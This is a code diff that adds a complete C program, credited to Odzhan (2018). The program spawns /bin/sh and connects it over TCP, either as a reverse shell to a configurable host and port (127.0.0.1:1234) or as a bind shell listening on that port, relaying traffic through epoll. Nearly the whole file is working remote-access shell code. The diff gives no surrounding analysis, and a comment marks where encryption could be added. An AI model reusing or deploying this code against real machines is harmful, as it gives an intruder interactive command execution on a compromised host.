|
| 1 | + /** |
| 2 | + Copyright © 2018 Odzhan. All Rights Reserved. |
| 3 | +
|
| 4 | + Redistribution and use in source and binary forms, with or without |
| 5 | + modification, are permitted provided that the following conditions are |
| 6 | + met: |
| 7 | +
|
| 8 | + 1. Redistributions of source code must retain the above copyright |
| 9 | + notice, this list of conditions and the following disclaimer. |
| 10 | +
|
| 11 | + 2. Redistributions in binary form must reproduce the above copyright |
| 12 | + notice, this list of conditions and the following disclaimer in the |
| 13 | + documentation and/or other materials provided with the distribution. |
| 14 | +
|
| 15 | + 3. The name of the author may not be used to endorse or promote products |
| 16 | + derived from this software without specific prior written permission. |
| 17 | +
|
| 18 | + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR |
| 19 | + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED |
| 20 | + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE |
| 21 | + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, |
| 22 | + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES |
| 23 | + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR |
| 24 | + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) |
| 25 | + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, |
| 26 | + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN |
| 27 | + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE |
| 28 | + POSSIBILITY OF SUCH DAMAGE. */ |
| 29 | + |
| 30 | +#define _GNU_SOURCE |
| 31 | + |
| 32 | +#define PORT "1234" |
| 33 | +#define HOST "127.0.0.1" |
| 34 | + |
| 35 | +#include <unistd.h> |
| 36 | +#include <sys/socket.h> |
| 37 | +#include <sys/types.h> |
| 38 | +#include <arpa/inet.h> |
| 39 | +#include <sys/ioctl.h> |
| 40 | +#include <sys/syscall.h> |
| 41 | +#include <signal.h> |
| 42 | +#include <sys/epoll.h> |
| 43 | +#include <fcntl.h> |
| 44 | +#include <sched.h> |
| 45 | + |
| 46 | +#include <stdio.h> |
| 47 | +#include <stdint.h> |
| 48 | +#include <string.h> |
| 49 | +#include <stdlib.h> |
| 50 | + |
| 51 | +int main(void) { |
| 52 | + struct sockaddr_in sa; |
| 53 | + int i, r, w, s, len, efd; |
| 54 | + #ifdef BIND |
| 55 | + int s2; |
| 56 | + #endif |
| 57 | + int fd, in[2], out[2]; |
| 58 | + char buf[BUFSIZ]; |
| 59 | + struct epoll_event evts; |
| 60 | + char *args[]={"/bin/sh", NULL}; |
| 61 | + pid_t ctid, pid; |
| 62 | + |
| 63 | + // create pipes for redirection of stdin/stdout/stderr |
| 64 | + pipe2(in, 0); |
| 65 | + pipe2(out, 0); |
| 66 | + |
| 67 | + // fork process |
| 68 | + ctid = syscall(SYS_gettid); |
| 69 | + |
| 70 | + pid = syscall(SYS_clone, |
| 71 | + CLONE_CHILD_SETTID | |
| 72 | + CLONE_CHILD_CLEARTID | |
| 73 | + SIGCHLD, 0, NULL, 0, &ctid); |
| 74 | + |
| 75 | + // if child process |
| 76 | + if (pid == 0) { |
| 77 | + // assign read end to stdin |
| 78 | + dup3(in[0], STDIN_FILENO, 0); |
| 79 | + // assign write end to stdout |
| 80 | + dup3(out[1], STDOUT_FILENO, 0); |
| 81 | + // assign write end to stderr |
| 82 | + dup3(out[1], STDERR_FILENO, 0); |
| 83 | + |
| 84 | + // close pipes |
| 85 | + close(in[0]); close(in[1]); |
| 86 | + close(out[0]); close(out[1]); |
| 87 | + |
| 88 | + // execute shell |
| 89 | + execve(args[0], args, 0); |
| 90 | + } else { |
| 91 | + // close read and write ends |
| 92 | + close(in[0]); close(out[1]); |
| 93 | + |
| 94 | + // create a socket |
| 95 | + s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); |
| 96 | + |
| 97 | + sa.sin_family = AF_INET; |
| 98 | + sa.sin_port = htons(atoi(PORT)); |
| 99 | + |
| 100 | + #ifdef BIND |
| 101 | + // bind to port for incoming connections |
| 102 | + sa.sin_addr.s_addr = INADDR_ANY; |
| 103 | + |
| 104 | + bind(s, (struct sockaddr*)&sa, sizeof(sa)); |
| 105 | + listen(s, 0); |
| 106 | + r = accept(s, 0, 0); |
| 107 | + s2 = s; s = r; |
| 108 | + #else |
| 109 | + // connect to remote host |
| 110 | + sa.sin_addr.s_addr = inet_addr(HOST); |
| 111 | + |
| 112 | + r = connect(s, (struct sockaddr*)&sa, sizeof(sa)); |
| 113 | + #endif |
| 114 | + |
| 115 | + // if ok |
| 116 | + if (r >= 0) { |
| 117 | + // open an epoll file descriptor |
| 118 | + efd = epoll_create1(0); |
| 119 | + |
| 120 | + // add 2 descriptors to monitor stdout and socket |
| 121 | + for (i=0; i<2; i++) { |
| 122 | + fd = (i==0) ? s : out[0]; |
| 123 | + evts.data.fd = fd; |
| 124 | + evts.events = EPOLLIN; |
| 125 | + |
| 126 | + epoll_ctl(efd, EPOLL_CTL_ADD, fd, &evts); |
| 127 | + } |
| 128 | + |
| 129 | + // now loop until user exits or some other error |
| 130 | + for (;;) { |
| 131 | + r = epoll_pwait(efd, &evts, 1, -1, NULL); |
| 132 | + |
| 133 | + // error? bail out |
| 134 | + if (r < 0) break; |
| 135 | + |
| 136 | + // not input? bail out |
| 137 | + if (!(evts.events & EPOLLIN)) break; |
| 138 | + |
| 139 | + fd = evts.data.fd; |
| 140 | + |
| 141 | + // assign socket or read end of output |
| 142 | + r = (fd == s) ? s : out[0]; |
| 143 | + // assign socket or write end of input |
| 144 | + w = (fd == s) ? in[1] : s; |
| 145 | + |
| 146 | + // read from socket or stdout |
| 147 | + len = read(r, buf, BUFSIZ); |
| 148 | + |
| 149 | + if (!len) break; |
| 150 | + |
| 151 | + // encrypt/decrypt data here |
| 152 | + |
| 153 | + // write to socket or stdin |
| 154 | + write(w, buf, len); |
| 155 | + } |
| 156 | + // remove 2 descriptors |
| 157 | + epoll_ctl(efd, EPOLL_CTL_DEL, s, NULL); |
| 158 | + epoll_ctl(efd, EPOLL_CTL_DEL, out[0], NULL); |
| 159 | + close(efd); |
| 160 | + // shutdown socket |
| 161 | + shutdown(s, SHUT_RDWR); |
| 162 | + } |
| 163 | + close(s); |
| 164 | + #ifdef BIND |
| 165 | + close(s2); |
| 166 | + #endif |
| 167 | + // terminate shell |
| 168 | + kill(pid, SIGCHLD); |
| 169 | + } |
| 170 | + close(in[1]); |
| 171 | + close(out[0]); |
| 172 | + return 0; |
| 173 | +} |
| 174 | + |
0 commit comments